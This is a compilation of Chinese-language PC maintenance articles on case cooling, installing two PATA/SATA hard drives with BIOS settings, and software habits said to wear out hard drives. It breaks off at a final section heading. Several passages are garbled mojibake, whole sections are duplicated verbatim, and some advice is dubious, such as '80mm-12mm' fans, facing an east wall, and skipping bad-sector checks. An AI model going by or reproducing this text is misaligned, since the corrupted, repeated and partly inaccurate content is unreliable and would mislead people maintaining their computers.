I.机箱的体积和设计对散热起着至关重要的作用。一般而言，大体积的机箱对散热是有益的，因为它允许更多的空气流经各个组件。设计良好的机箱都会预留前后机箱风扇的位置，一旦机箱内形成由下至上，由前至后这种良好的气流，也能为CPU和显卡等发热量大的组件及时补充冷空气，CPU和显卡的温度也会进一步降低。
G.各个不同的解决方案都同时存在着优点及缺点。对于硅脂而言，良好的产品也会带来一些附加的弊病。例如一些加入金属的导热硅脂也会带有微弱的导电性，直接和处理器核心接触可能会引起短路。如果使用PCM散热，就必须提前于CPU安装，PCM最适合于不更换CPU的用户。一旦取掉CPU并更换散热片，PCM材料也要随之更换。在更换PCM板的时候，使用1X1英寸的的正方形板就可以了，而原来的PCM版必须安全卸掉。
以上各个步骤可以指导大家如何做到良好的散热，这样不仅可以延长硬件的使用寿命，也会为你节省宝贵的时间和资金的投入，还能增加电脑维护的经验。
A.选一个房间中最冷的地方来放置电脑。条件允许的情况下，放置电脑的楼层越低越好(热空气上升)。电脑要靠墙放置，而且要选择对着太阳升起的东方的那一边的墙。周围也不要放置发热量大的电器。
B.具体摆放主机时，要选择利于空气流通的位置。机箱的周围的顶部要留有一定的空间，尤其要注意机箱上的各个入气口(通常在机箱前面)和排气口(机箱后方)。
C.如果空气流通不存在什么问题，并且房中安装了空调，也要简单布置一下。如果你的电脑房间很大，使用的是中央空调，，在使用电脑时最好把温度调低一些，关机后再调回来。房间小就没有必要这么做了。
D.检查一下房间内使用的灯管。白织灯的发热量不小，最理想的情况是使用发热量较低的冷光灯。
E.不使用电脑时最好关机。使用屏幕保护程序时，也不要忘记了此时电脑的功率并不比平时低多少，发热量不能小视。显示器最后设为闲置15-20分钟后进入节能模式。在启动时的BIOS中，还可以设置休眠或挂起到内存。这些措施都可以节省能源并且延长电脑使用寿命。
F.确定机箱中能形成正常的气流。通常采用的做法是机箱的前面吸风，后面和顶部抽风。添加机箱风扇是个不错的开始，机箱中空余插槽对应位置的挡板一定要装上，主板接口的挡板也要装好，也就是除了进风口和抽风口不要留下任何出风口，这样才能保证形成理想的气流方向。此外，还要确定气流不会被挡住，尽量不要让机箱内的走线挡住着重要的气流位置，线也要扎成一束一束的，当然线是越少越好。尽可能不选择太小的机箱，较大的空间对主板散热是有所帮助的。
G.灰尘也会对散热产生很大的不良影响，所有周围的环境一定要干净。使用较长时间后，各个部件上通常会集有灰尘，它们会把原件和空气隔离，所以要养成定期清理灰尘的好习惯。电源风扇和机箱风扇上的灰尘也很多，大家可以用气老虎及时除掉附在上面的灰尘，这些措施都可以加强散热效果。
H.升级或增加风扇。一般的机箱都可以安装80mm-12mm的机箱风扇。对于直径大的风扇，低转速也能保证较大的风量。现在的主板一般都有监视CPU核心温度的功能，如果你的CPU核心温度超出环境温度太多，你最好还是升级你的CPU风扇。硬盘的散热也很重要，大家也可以为它装配风扇，但务必要装牢固，否则震动反而会影响硬盘寿命。市面上还有一种插在PCI插槽上的风扇，通常用来帮助显卡及主板散热，也能加强机箱内部的空气流动。
I.机箱的体积和设计对散热起着至关重要的作用。一般而言，大体积的机箱对散热是有益的，因为它允许更多的空气流经各个组件。设计良好的机箱都会预留前后机箱风扇的位置，一旦机箱内形成由下至上，由前至后这种良好的气流，也能为CPU和显卡等发热量大的组件及时补充冷空气，CPU和显卡的温度也会进一步降低。
G.各个不同的解决方案都同时存在着优点及缺点。对于硅脂而言，良好的产品也会带来一些附加的弊病。例如一些加入金属的导热硅脂也会带有微弱的导电性，直接和处理器核心接触可能会引起短路。如果使用PCM散热，就必须提前于CPU安装，PCM最适合于不更换CPU的用户。一旦取掉CPU并更换散热片，PCM材料也要随之更换。在更换PCM板的时候，使用1X1英寸的的正方形板就可以了，而原来的PCM版必须安全卸掉。
以上各个步骤可以指导大家如何做到良好的散热，这样不仅可以延长硬件的使用寿命，也会为你节省宝贵的时间和资金的投入，还能增加电脑维护的经验。
双硬盘的安装与设置
如今硬盘容量是越来越大，价格也越来越便宜。对于用户来说，硬盘空间是“韩信点兵，多多益善”，而为电脑安装两块硬盘便成了“扩容”的最常见手段。不过，如何安装和使用双硬盘也成为我们必须面对的问题……
双PATA硬盘的安装
相信现在还有很多人在使用PATA(并行ATA)接口的硬盘。这类硬盘外观最大的特点就是通过扁平的IDE数据线来进行数据传输。那么如果有两块PATA硬盘，该如何安装呢？
1.规划IDE设备的主从关系
一般主板都提供了两个IDE接口，可以接四个IDE设备。但除了硬盘外，用户一般还有1个或2个光驱。因此，要想获得更好的性能，就要规划好这3个或4个设备的安装位置。
(1)双PATA硬盘+1个光驱
建议将容量大、速度快的硬盘设置为主盘，接在IDE
1接口的数据线上；将另外一个硬盘设置为主盘，光驱设置为从盘，两者一起接在IDE
2接口的数据线上。
小提示：系统启动时搜索启动盘的顺序是先IDE 1，后IDE 2。将高速硬盘设置成主盘接在IDE
1上作为系统盘，可以提高系统的性能。
(2)双PATA硬盘+双光驱
与上面的连接方式相似，建议在IDE
1上除了接那个高速硬盘作为主盘外，再接一个光驱(从盘)。同时IDE
2上也是一个硬盘加一个光驱。
2.设置硬盘及光驱的跳线
从上面的主从关系规划可以看出，不论是双PATA硬盘加一个光驱，还是双PATA硬盘加两个光驱，硬盘都是“主盘”，光驱都是“从盘”。因此，必须将硬盘及光驱的跳线按此要求进行设置。在IDE设备的跳线设置中，一般用“Master”表示“主盘”，“Slave”表示“从盘”。硬盘出厂时一般默认就是“主盘”，而光驱出厂时的跳线一般默认是“从盘”。在安装硬盘与光驱时，要仔细查看该设备的主/从盘的跳线设置。
3.安装PATA硬盘
设置好跳线之后，就可以按照上面规划的安装位置，将硬盘、光驱一一装入机箱中，然后连接好设备的数据线与电源线。注意，在使用数据线的时候必须注意──数据线上的三个端口是有定义的，不能随便连接设备。中间的那个端口是“Slave”，是用来连接从盘的；离“Slave”端口最近的那个是“Master”，是用来连接主盘的；离“Slave”最远的那个是“System”，它是插在主板的IDE接口上的
4.BIOS设置与硬件检测
硬盘安装好以后，我们就可以进入BIOS查看硬盘是否工作正常了：启动电脑，进入BIOS中的“Standard
CMOS
Setup”(标准CMOS设定)。将硬盘的“Type(类型)”和“Mode(模式)”设为“Auto”，让BIOS自动检测硬盘。也可以通过主菜单中的“IDE
HDD Auto
Detection”选项来自动检测硬盘。如今的主板都具备自动检测功能，只要没有物理故障，一般都能检测出来，此时就可以看到BIOS中4个IDE端口上的设备了
小提示：如果电脑检测不到硬盘，或者检测硬盘时死机，请考虑以下几种情况：硬盘跳线错误；数据线连接错误；没插电源线；主板BIOS不支持大硬盘；前面几种情况比较容易解决，至于BIOS不支持大硬盘，可以采用升级BIOS的方法解决。当然，也可以通过第三方软件来跳过主板BIOS限制，各硬盘生产商都免费提供这种砑蠹铱梢缘焦俜酵旧舷略亍?br>
“1个PATA+1个SATA”双硬盘安装
SATA(串行ATA)是硬盘今后的发展趋势，如今市场上SATA硬盘及支持SATA硬盘的主板也越来越多。SATA硬盘在外观上最大的变化就是采用了非常窄小的“L”形数据线接口及扁平的电源线接口.支持SATA硬盘的主板一般都会提供2个或4个SATA接口。
1.Intel系列芯片组主板的设置
(1)1个PATA硬盘+1个SATA硬盘+1个光驱
以ICH5、ICH5R、ICH6、ICH6R为代表的Intel南桥芯片支持SATA，目前的i865、i875及最新的i915、i925系列芯片组都提供了对SATA的支持。如果主板的SATA接口是由ICH5/ICH5R芯片提供的，那么应该这样连接：
将SATA硬盘的数据线连接到主板的“SATA1”接口中；将PATA硬盘与光驱通过一根IDE数据线连接起来，其中PATA硬盘的跳线设置为“主盘”，并连接到数据线的“Master”端，将光驱的跳线设置为“从盘”，并连接到数据线的“Slave”端，最后将这根IDE数据线连接到主板的“IDE2”接口中。
在连接SATA硬盘时要注意：有些SATA硬盘一般都具备传统的4针电源接口及SATA电源接口,在使用时可以任意选择其中一个接口来连接电源，但是绝对不要将这两个接口都接上电源插头，否则会烧毁硬盘的。
将所有硬盘及光驱的数据线按上述方法连接好之后，再连接好设备的电源线。接下来启动电脑进入BIOS，选择并进入“Integrated
Peripherals”设置窗口，然后进入“OnChip IDE Device”设置画面。在该画面中，除了将“IDE HDD Block
Mode”、“On-Chip Primary PCI IDE”、“On-Chip Secondary PCI
IDE”三个选项设置为“Enabled”外，其他8个选项全部设置为“Auto"
再将光标移动到窗口下方的“On-Chip Serial
ATA”选项上按回车键，然后在弹出的窗口中选中“Combined Mode”后按回车键;最后将光标移动到“Serial ATA Port0
Mode”上按回车键，在弹出的窗口中选中“Primary Master”并回车。此时“On-Chip Serial ATA”和“Serial ATA Port0
Mode”选项的设置分别为“Combined Mode”和“Primary
Master"
按“F10”键保存BIOS设置，重新启动电脑后，再次进入BIOS的“Standard CMOS
Features”窗口就会发现，SATA硬盘占据了“IDE Channel 0 Master”通道，而PATA硬盘则占据了“IDE Channel 1
Master”通道，光驱占据“IDE Channel 1
Slave”通道
小提示：经过以上设置后，SATA硬盘的优先级比PATA硬盘的高，建议将操作系统安装在SATA硬盘上(此时在DOS下SATA硬盘的第一个分区是“C”盘)。如果不想将SATA硬盘作为系统盘，而想把操作系统安装在PATA硬盘上，则可以在BIOS中将PATA硬盘的启动优先级提高：进入“Advanced
BIOS Features”窗口，选择“Hard Disk Boot
Priority”并进入硬盘启动优先顺序设置窗口。在该窗口中，默认是SATA硬盘排在PATA硬盘的前面，此时可以选中PATA硬盘，然后按“Page
Up”键，使PATA硬盘排在SATA硬盘的前面。最后保存BIOS设置并重新启动电脑，这样PATA硬盘的第一个分区在DOS下便成了“C”盘。
(2)1个PATA硬盘+1个SATA硬盘+2个光驱
将SATA硬盘的数据线连接到主板的“SATA1”接口中；将PATA硬盘设置为“从盘”，然后用1根IDE数据线将它连接到主板的“IDE1”接口上；将两个光驱分别设置为“主盘”和“从盘”，然后利用一根IDE数据线将这两个光驱连接到主板的“IDE2”接口上.注意，在连接硬盘及光驱的时候，要注意数据线端口的选择。
设备安装好以后也要到BIOS中进行设置，具体设置方法和前面“1个PATA硬盘+1个SATA硬盘+1个光驱”的设置方法大同小异。不同的地方是“On-Chip
Serial ATA”选项和“Serial ATA Port0 Mode”选项的设置，其中前者应设置为“Enhanced Mode”，后者须设置为“SATA0
Master”
保存BIOS设置并重新启动电脑，再次进入BIOS的“Standard CMOS
Features”窗口就会发现，此时共有6个IDE设备通道，其中PATA硬盘占据了“IDE Channel 0 Slave”通道，而两个光驱分别占据了“IDE
Channel 1 Master”与“IDE Channel 1 Slave”通道，SATA硬盘占据了“IDE Channel 2
Master”通道.
经过以上设置后，PATA硬盘的优先级比SATA硬盘的高。如果想把SATA硬盘作为第一启动盘，则可以在“Hard
Disk Boot Priority”窗口中将SATA硬盘排在PATA硬盘的前面。
此外，在设置“On-Chip Serial ATA
Setting”选项时，也可以将“On-Chip Serial
ATA”设置为“Auto”，由主板自动根据设备的多少及连接位置来选择SATA工作模式。
2.VIA系列芯片组主板的设置
VIA的VT8237也提供了对SATA硬盘的支持，在一些采用PT880、KT880、KT800等芯片组的主板上，采用的往往就是VT8237南桥。
如果主板采用的是VT8237南桥，那么其SATA硬盘的物理安装、BIOS设置与Intel的ICH5/5R差不多，只须按照前面讲述的连接方案连接好硬盘与光驱，然后在BIOS中找到带有“SATA”或“Serial
ATA”字样的选项，将它设置为“Enabled”或“Auto”即可。
3.采用第三方芯片的主板的设置
也有很多主板芯片组的南桥并不支持SATA，因此主板厂商便会通过板载第三方的SATA控制芯片来提供对SATA的支持。目前使用比较多的第三方控制芯片，主要有Silicon
Image公司的Sil3114与Sil3112、Promise公司的PDC20376、SiS公司的SiS180、VIA公司的VT6420等。
对于采用第三方SATA控制芯片的主板而言，由于其传输通道并不占用传统的IDE通道，因此无须过多考虑设备的主从关系。也就是说，SATA硬盘只管接在SATA接口上即可，至于PATA硬盘及光驱，可以享用IDE1、IDE
2两个接口(即4个IDE传输通道)。
由于不同主板厂商所用的第三方SATA控制芯片不尽相同，因此要想在BIOS中打开SATA功能，其选项名称也各不一样。不过有一点相同的是，该选项一般都在“Integrated
Peripherals”设置窗口中。用户只需在此设置窗口中查找带“Serial
ATA”、“SATA”字样或与SATA控制芯片厂商名相同的选项就对了。
而更多的厂商是在BIOS设置中添加了诸如“Serial ATA
Controller”、“Serial ATA
Setting”这样的选项，只需将它们设置为“Enabled”即可。
双SATA硬盘的安装
如果两块硬盘都是SATA接口的，那么它们的安装更加简单，只要利用SATA硬盘数据线将两个SATA硬盘分别连接到SATA1、SATA2接口即可。至于光驱，建议利用IDE数据线将它连接到主板的IDE
2接口上。如果是一个光驱，则一个光驱独占IDE 2；如果两个光驱，则分别设置为主盘、从盘，然后用一根IDE数据线将它们连接到IDE
2上。
物理连接好之后，在BIOS中打开SATA控制器即可。具体的设置方法可参考上面介绍的方法，或者查阅主板说明书。
阿萌小辞典
PATA硬盘
也称并行硬盘。它采用的是称为Ultra
ATA/DMA的并行总线接口(俗称IDE接口)，目前主流的并行ATA硬盘仅支持ATA/100和ATA/133两种数据传输规范，外部传输速率最高能达到100MB/s或133MB/s。
SATA硬盘
也称串行硬盘。由于改用线路相互之间干扰较小的串行线路进行信号传输，SATA硬盘数据传输性能有了很大提高，因此相比原来的并行传输方式，SATA的工作频率得到了大幅度的提升。目前的SATA
1.0标准工作频率为150MB/s，未来的SATA 2.0和3.0可提升到300MB/s和600MB/s。
双PATA硬盘的安装
相信现在还有很多人在使用PATA(并行ATA)接口的硬盘。这类硬盘外观最大的特点就是通过扁平的IDE数据线来进行数据传输。那么如果有两块PATA硬盘，该如何安装呢？
1.规划IDE设备的主从关系
一般主板都提供了两个IDE接口，可以接四个IDE设备。但除了硬盘外，用户一般还有1个或2个光驱。因此，要想获得更好的性能，就要规划好这3个或4个设备的安装位置。
(1)双PATA硬盘+1个光驱
建议将容量大、速度快的硬盘设置为主盘，接在IDE
1接口的数据线上；将另外一个硬盘设置为主盘，光驱设置为从盘，两者一起接在IDE
2接口的数据线上。
小提示：系统启动时搜索启动盘的顺序是先IDE 1，后IDE 2。将高速硬盘设置成主盘接在IDE
1上作为系统盘，可以提高系统的性能。
(2)双PATA硬盘+双光驱
与上面的连接方式相似，建议在IDE
1上除了接那个高速硬盘作为主盘外，再接一个光驱(从盘)。同时IDE
2上也是一个硬盘加一个光驱。
2.设置硬盘及光驱的跳线
从上面的主从关系规划可以看出，不论是双PATA硬盘加一个光驱，还是双PATA硬盘加两个光驱，硬盘都是“主盘”，光驱都是“从盘”。因此，必须将硬盘及光驱的跳线按此要求进行设置。在IDE设备的跳线设置中，一般用“Master”表示“主盘”，“Slave”表示“从盘”。硬盘出厂时一般默认就是“主盘”，而光驱出厂时的跳线一般默认是“从盘”。在安装硬盘与光驱时，要仔细查看该设备的主/从盘的跳线设置。
3.安装PATA硬盘
设置好跳线之后，就可以按照上面规划的安装位置，将硬盘、光驱一一装入机箱中，然后连接好设备的数据线与电源线。注意，在使用数据线的时候必须注意──数据线上的三个端口是有定义的，不能随便连接设备。中间的那个端口是“Slave”，是用来连接从盘的；离“Slave”端口最近的那个是“Master”，是用来连接主盘的；离“Slave”最远的那个是“System”，它是插在主板的IDE接口上的
4.BIOS设置与硬件检测
硬盘安装好以后，我们就可以进入BIOS查看硬盘是否工作正常了：启动电脑，进入BIOS中的“Standard
CMOS
Setup”(标准CMOS设定)。将硬盘的“Type(类型)”和“Mode(模式)”设为“Auto”，让BIOS自动检测硬盘。也可以通过主菜单中的“IDE
HDD Auto
Detection”选项来自动检测硬盘。如今的主板都具备自动检测功能，只要没有物理故障，一般都能检测出来，此时就可以看到BIOS中4个IDE端口上的设备了
小提示：如果电脑检测不到硬盘，或者检测硬盘时死机，请考虑以下几种情况：硬盘跳线错误；数据线连接错误；没插电源线；主板BIOS不支持大硬盘；前面几种情况比较容易解决，至于BIOS不支持大硬盘，可以采用升级BIOS的方法解决。当然，也可以通过第三方软件来跳过主板BIOS限制，各硬盘生产商都免费提供这种砑蠹铱梢缘焦俜酵旧舷略亍?br>
“1个PATA+1个SATA”双硬盘安装
SATA(串行ATA)是硬盘今后的发展趋势，如今市场上SATA硬盘及支持SATA硬盘的主板也越来越多。SATA硬盘在外观上最大的变化就是采用了非常窄小的“L”形数据线接口及扁平的电源线接口.支持SATA硬盘的主板一般都会提供2个或4个SATA接口。
1.Intel系列芯片组主板的设置
(1)1个PATA硬盘+1个SATA硬盘+1个光驱
以ICH5、ICH5R、ICH6、ICH6R为代表的Intel南桥芯片支持SATA，目前的i865、i875及最新的i915、i925系列芯片组都提供了对SATA的支持。如果主板的SATA接口是由ICH5/ICH5R芯片提供的，那么应该这样连接：
将SATA硬盘的数据线连接到主板的“SATA1”接口中；将PATA硬盘与光驱通过一根IDE数据线连接起来，其中PATA硬盘的跳线设置为“主盘”，并连接到数据线的“Master”端，将光驱的跳线设置为“从盘”，并连接到数据线的“Slave”端，最后将这根IDE数据线连接到主板的“IDE2”接口中。
在连接SATA硬盘时要注意：有些SATA硬盘一般都具备传统的4针电源接口及SATA电源接口,在使用时可以任意选择其中一个接口来连接电源，但是绝对不要将这两个接口都接上电源插头，否则会烧毁硬盘的。
将所有硬盘及光驱的数据线按上述方法连接好之后，再连接好设备的电源线。接下来启动电脑进入BIOS，选择并进入“Integrated
Peripherals”设置窗口，然后进入“OnChip IDE Device”设置画面。在该画面中，除了将“IDE HDD Block
Mode”、“On-Chip Primary PCI IDE”、“On-Chip Secondary PCI
IDE”三个选项设置为“Enabled”外，其他8个选项全部设置为“Auto"
再将光标移动到窗口下方的“On-Chip Serial
ATA”选项上按回车键，然后在弹出的窗口中选中“Combined Mode”后按回车键;最后将光标移动到“Serial ATA Port0
Mode”上按回车键，在弹出的窗口中选中“Primary Master”并回车。此时“On-Chip Serial ATA”和“Serial ATA Port0
Mode”选项的设置分别为“Combined Mode”和“Primary
Master"
按“F10”键保存BIOS设置，重新启动电脑后，再次进入BIOS的“Standard CMOS
Features”窗口就会发现，SATA硬盘占据了“IDE Channel 0 Master”通道，而PATA硬盘则占据了“IDE Channel 1
Master”通道，光驱占据“IDE Channel 1
Slave”通道
小提示：经过以上设置后，SATA硬盘的优先级比PATA硬盘的高，建议将操作系统安装在SATA硬盘上(此时在DOS下SATA硬盘的第一个分区是“C”盘)。如果不想将SATA硬盘作为系统盘，而想把操作系统安装在PATA硬盘上，则可以在BIOS中将PATA硬盘的启动优先级提高：进入“Advanced
BIOS Features”窗口，选择“Hard Disk Boot
Priority”并进入硬盘启动优先顺序设置窗口。在该窗口中，默认是SATA硬盘排在PATA硬盘的前面，此时可以选中PATA硬盘，然后按“Page
Up”键，使PATA硬盘排在SATA硬盘的前面。最后保存BIOS设置并重新启动电脑，这样PATA硬盘的第一个分区在DOS下便成了“C”盘。
(2)1个PATA硬盘+1个SATA硬盘+2个光驱
将SATA硬盘的数据线连接到主板的“SATA1”接口中；将PATA硬盘设置为“从盘”，然后用1根IDE数据线将它连接到主板的“IDE1”接口上；将两个光驱分别设置为“主盘”和“从盘”，然后利用一根IDE数据线将这两个光驱连接到主板的“IDE2”接口上.注意，在连接硬盘及光驱的时候，要注意数据线端口的选择。
设备安装好以后也要到BIOS中进行设置，具体设置方法和前面“1个PATA硬盘+1个SATA硬盘+1个光驱”的设置方法大同小异。不同的地方是“On-Chip
Serial ATA”选项和“Serial ATA Port0 Mode”选项的设置，其中前者应设置为“Enhanced Mode”，后者须设置为“SATA0
Master”
保存BIOS设置并重新启动电脑，再次进入BIOS的“Standard CMOS
Features”窗口就会发现，此时共有6个IDE设备通道，其中PATA硬盘占据了“IDE Channel 0 Slave”通道，而两个光驱分别占据了“IDE
Channel 1 Master”与“IDE Channel 1 Slave”通道，SATA硬盘占据了“IDE Channel 2
Master”通道.
经过以上设置后，PATA硬盘的优先级比SATA硬盘的高。如果想把SATA硬盘作为第一启动盘，则可以在“Hard
Disk Boot Priority”窗口中将SATA硬盘排在PATA硬盘的前面。
此外，在设置“On-Chip Serial ATA
Setting”选项时，也可以将“On-Chip Serial
ATA”设置为“Auto”，由主板自动根据设备的多少及连接位置来选择SATA工作模式。
2.VIA系列芯片组主板的设置
VIA的VT8237也提供了对SATA硬盘的支持，在一些采用PT880、KT880、KT800等芯片组的主板上，采用的往往就是VT8237南桥。
如果主板采用的是VT8237南桥，那么其SATA硬盘的物理安装、BIOS设置与Intel的ICH5/5R差不多，只须按照前面讲述的连接方案连接好硬盘与光驱，然后在BIOS中找到带有“SATA”或“Serial
ATA”字样的选项，将它设置为“Enabled”或“Auto”即可。
3.采用第三方芯片的主板的设置
也有很多主板芯片组的南桥并不支持SATA，因此主板厂商便会通过板载第三方的SATA控制芯片来提供对SATA的支持。目前使用比较多的第三方控制芯片，主要有Silicon
Image公司的Sil3114与Sil3112、Promise公司的PDC20376、SiS公司的SiS180、VIA公司的VT6420等。
对于采用第三方SATA控制芯片的主板而言，由于其传输通道并不占用传统的IDE通道，因此无须过多考虑设备的主从关系。也就是说，SATA硬盘只管接在SATA接口上即可，至于PATA硬盘及光驱，可以享用IDE1、IDE
2两个接口(即4个IDE传输通道)。
由于不同主板厂商所用的第三方SATA控制芯片不尽相同，因此要想在BIOS中打开SATA功能，其选项名称也各不一样。不过有一点相同的是，该选项一般都在“Integrated
Peripherals”设置窗口中。用户只需在此设置窗口中查找带“Serial
ATA”、“SATA”字样或与SATA控制芯片厂商名相同的选项就对了。
而更多的厂商是在BIOS设置中添加了诸如“Serial ATA
Controller”、“Serial ATA
Setting”这样的选项，只需将它们设置为“Enabled”即可。
双SATA硬盘的安装
如果两块硬盘都是SATA接口的，那么它们的安装更加简单，只要利用SATA硬盘数据线将两个SATA硬盘分别连接到SATA1、SATA2接口即可。至于光驱，建议利用IDE数据线将它连接到主板的IDE
2接口上。如果是一个光驱，则一个光驱独占IDE 2；如果两个光驱，则分别设置为主盘、从盘，然后用一根IDE数据线将它们连接到IDE
2上。
物理连接好之后，在BIOS中打开SATA控制器即可。具体的设置方法可参考上面介绍的方法，或者查阅主板说明书。
阿萌小辞典
PATA硬盘
也称并行硬盘。它采用的是称为Ultra
ATA/DMA的并行总线接口(俗称IDE接口)，目前主流的并行ATA硬盘仅支持ATA/100和ATA/133两种数据传输规范，外部传输速率最高能达到100MB/s或133MB/s。
SATA硬盘
也称串行硬盘。由于改用线路相互之间干扰较小的串行线路进行信号传输，SATA硬盘数据传输性能有了很大提高，因此相比原来的并行传输方式，SATA的工作频率得到了大幅度的提升。目前的SATA
1.0标准工作频率为150MB/s，未来的SATA 2.0和3.0可提升到300MB/s和600MB/s。
6大软件伤硬盘
硬盘是计算机中最重要的存储介质，关于硬盘的维护保养，相信每个电脑用户都有所了解。不过，以前的很多文章都是针对拨号时代的单机用户，在宽带逐渐普及、大硬盘不断降价的今天，很多人一打开电脑就会让硬盘满负荷运转：看高清晰的DVDRip影片、进行不间断的BT下载、使用Windows的系统还原功能……不过，你可能并不清楚，这些新软件带来的新的应用模式，会给硬盘带来新的伤害！
新应用模式带来的隐患
1.编码错误的DVDRip
现在网上由DVD转录压缩的DVDRip格式的影片相当受欢迎。这种格式的影片清晰度和DVD相差无几，但下载一部影片只有700MB~1.3GB大小，因此很多用户喜欢将DVDRip格式的影片下载到硬盘上慢慢欣赏。不过，播放这种格式的影片对系统有较高的要求：除了CPU、显卡要求足够强劲以保证播放流畅外，硬盘负荷也非常大——因为播放DVDRip就是一个不断解码解压缩，再输送到显示系统的过程。笔者发现，在遇到有编码错误的DVDRip文件时，Windows会出现磁盘占用率非常高的现象：系统不断想要把编码转换为视频信号，但编码错误的文件索引和相应的信号段是不匹配的——此时，硬盘灯会不断地闪烁，整个系统对用户的操作响应极慢，用户点击菜单但几乎没有反应。如果编码错误较多，系统有时候甚至会死机。很多用户在此时非常不耐烦，直接按下机箱上的RESET键甚至是直接关闭计算机电源，在硬盘磁头没有正常复位的情况下，这种操作相当危险！
提示：Windows XP的用户需要特别注意，当我们在Windows XP中自动预览一些体积较大的ASF、WMV等文件时，虽然没有进行正式播放，但也会出现计算机速度突然变慢、硬盘灯不断闪烁等现象，其罪魁祸首仍然是视频文件错误编码！
2. Bittorrent下载
Bittorrent下载是宽带时代新兴的P2P交换文件模式，各用户之间共享资源，互相当种子和中继站，俗称BT下载。由于每个用户的下载和上传几乎是同时进行，因此下载的速度非常快。不过，它会将下载的数据直接写进硬盘(不像FlashGet等下载工具可以调整缓存，到指定的数据量后才写入硬盘)，因此对硬盘的占用率比FTP下载要大得多！
此外，BT下载事先要申请硬盘空间，在下载较大的文件的时候，一般会有2~3分钟时间整个系统优先权全部被申请空间的任务占用，其他任务反应极慢。有些人为了充分利用带宽，还会同时进行几个BT下载任务，此时就非常容易出现由于磁盘占用率过高而导致的死机故障。
因此，除非你的电脑硬件配置相当高(尤其是内存，至少要在256MB以上)，否则在BT下载作出改进以前，如果要进行长时间、多任务的下载应用，最好还是采用传统的FTP软件。
3. PQMAGIC转换的危险
PQMAGIC是大名鼎鼎的分区魔术师，能在不破坏数据的情况下自由调整分区大小及格式。不过，PQMAGIC刚刚推出的时候，一般用户的硬盘也就2GB左右，而现在60~80GB的硬盘已是随处可见，PQMAGIC早就力不从心了：调整带数据的、5GB以上的分区，通常都需要1小时以上！
除了容量因素影响外，PQMAGIC调整硬盘分区时，大量的时间都花在校验数据和检测硬盘上，可以看出，在这种情况下“无损分区”是很难保证的：由于转换的速度很慢，耗时过长，转换调整过程中，很容易因为计算机断电、死机等因素造成数据丢失。这种损失通常是一个或数个分区丢失，或是容量变得异常，严重时甚至会导致整个硬盘的数据无法读取。
4.硬盘保护软件造成的异常
容易造成硬盘异常的，还有硬盘保护软件。比如“还原精灵”，由于很多人不注意在重装系统或是重新分区前将它正常卸载，往往会发生系统无法完全安装等情况。此时再想安装并卸载“还原精灵”，却又提示软件已经安装，无法继续，陷入死循环中。这种故障是由于“还原精灵”接管了INT13中断，在操作系统之前就控制了硬盘的引导，用FDISK/MBR指令也无法解决。本来这只是软件的故障，但很多人经验不足，出了问题会找各种分区工具“试验”，甚至轻率地低级格式化，在这样的折腾之下，硬盘很可能提前夭折！
5.频繁地整理磁盘碎片
磁盘碎片整理和系统还原本来是Windows提供的正常功能，不过如果你频繁地做这些操作，对硬盘是有害无利的。磁盘整理要对硬盘进行底层分析，判断哪些数据可以移动、哪些数据不可以移动，再对文件进行分类排序。在正式安排好硬盘数据结构前，它岵欢纤*寥⌒慈胧莸狡渌兀藕盟承蚝笤侔咽菀苹厥实蔽恢茫庑┎僮鞫蓟嵴加么罅康腃PU和磁盘资源。其实，对现在的大硬盘而言，文档和邮件占用的空间比例非常小，多数人买大硬盘是用来装电影和音乐的，这些分区根本无需频繁整理——因为播放多媒体文件的效果和磁盘结构根本没有关系，播放速度是由显卡和CPU决定的。
6. Windows XP的自动重启
Windows XP的自动重启功能可以自动关闭无响应的进程，自动退出非法操作的程序，从而减少用户的操作步骤。不过，这个功能也有一个很大的问题：它会在自动重新启动前关闭硬盘电源，在重新启动机器的时候再打开硬盘电源！这样一来，硬盘在不到10秒的时间间隔内，受到电流两次冲击，很可能会发生突然“死亡”的故障。为了节省一些能源设置成让系统自动关闭硬盘，对硬盘来说也是弊大于利的。
消除隐患的应对方案
1.解决编码错误
遇到编码错误的视频文件，最好的方法是通过正常途径向系统发出关机或重新启动指令，耐心等待系统自己处理完毕后重新启动计算机。然后上网搜索一些专门修复编码错误的软件来修复这些影片，再进行观看。
2.加大系统缓存
对于像BT这种线程没优化好、同时读取和写入硬盘的软件，如果一定要使用，可以通过修改注册表的方式加大磁盘缓冲，以减小硬盘读写的频率。以Windows XP为例：
单击“开始”、“运行”，键入“Regedit”后回车，打开注册表编辑器。依次展开HKEY_LOCAL_MACHINE＼SYSTEM＼CURRENTCONTROLSET＼CONTROL＼SESSION MANAGER＼MEMORY MANAGEMENT分支，在右侧窗口中单击鼠标右键，选择“新建”、“DWORD”值，将新值命名为“Iopagelocklimit”，并将其值设置为“4000”(16进制，即16M或“8000”(即32M，这样硬盘的读写频率会降低不少。对于BT造成的CPU占用率过高问题，可以通过调节任务的优先级来解决：在Windows 2000/XP下同时按下“Ctrl+Alt+Delete”组合键，选择“任务管理器”，然后单击“进程”选项卡，用鼠标右键单击“Btdownloadgui.exe”，选择“设置优先级”下低于“标准”的一个级别即可。不庋鹘谟惺被嵋養T非法操作退出。
3.巧妙卸载“还原精灵”
如果你的计算机安装了“还原精灵”，但在重装系统前忘记了正确卸载“还原精灵”，导致无法分区及安装系统，那么可尝试使用以下方法来解决问题：启动计算机后在系统引导前按“Ctrl+Home”组合键，调出“还原精灵”的菜单，输入密码进去后，选择“卸载”即可。也可以在光驱中放入“还原精灵”安装光盘，找到卸载程序Uninst.exe并执行它，当出现“不能运行在……要重新启动计算机吗？”的提示时，单击“确定”，重新启动后再安装“还原精灵”，然后再将它卸载。此方法在“还原精灵”5.0、2002、2003等版本上均验证通过。
4.加速PQMAGIC的操作
在PQMAGIC中打开“常规”选项下的“PartitionMagic优选设置”，将“忽略FAT上的OS/2 EA错误”和“跳过坏扇区检查”这两个选项均选中，忽略校验数据和检测硬盘的过程，自然会大大加快PQMAGIC的速度。当然，在使用PQMAGIC对分区进行操作之前，我们应该先用磁盘扫描工具检查和修复硬盘上的错误，然后再进行分区转换操作。
此外，最好不要用PQMAGIC调整带数据的分区，更不要在调整分区容量时进行分区格式转换。最好的方法是将要调整的分区上的数据备份到不参与调整的分区(最好是其他硬盘上)，然后清空调整的一个或多个分区，这样转换速度会快很多，也更安全。
5.采用NTFS格式的分区
NTFS分区的好处在这里就不用多说了吧？由于NTFS分区本身的簇很小，不容易产生磁盘碎片，微软在文件分配表和目录索引上也作了特殊处理，万一出错后恢复文件也较容易。不过为了保证系统兼容性，最好不要将引导分区设置为NTFS格式。
6.禁用自动重启功能
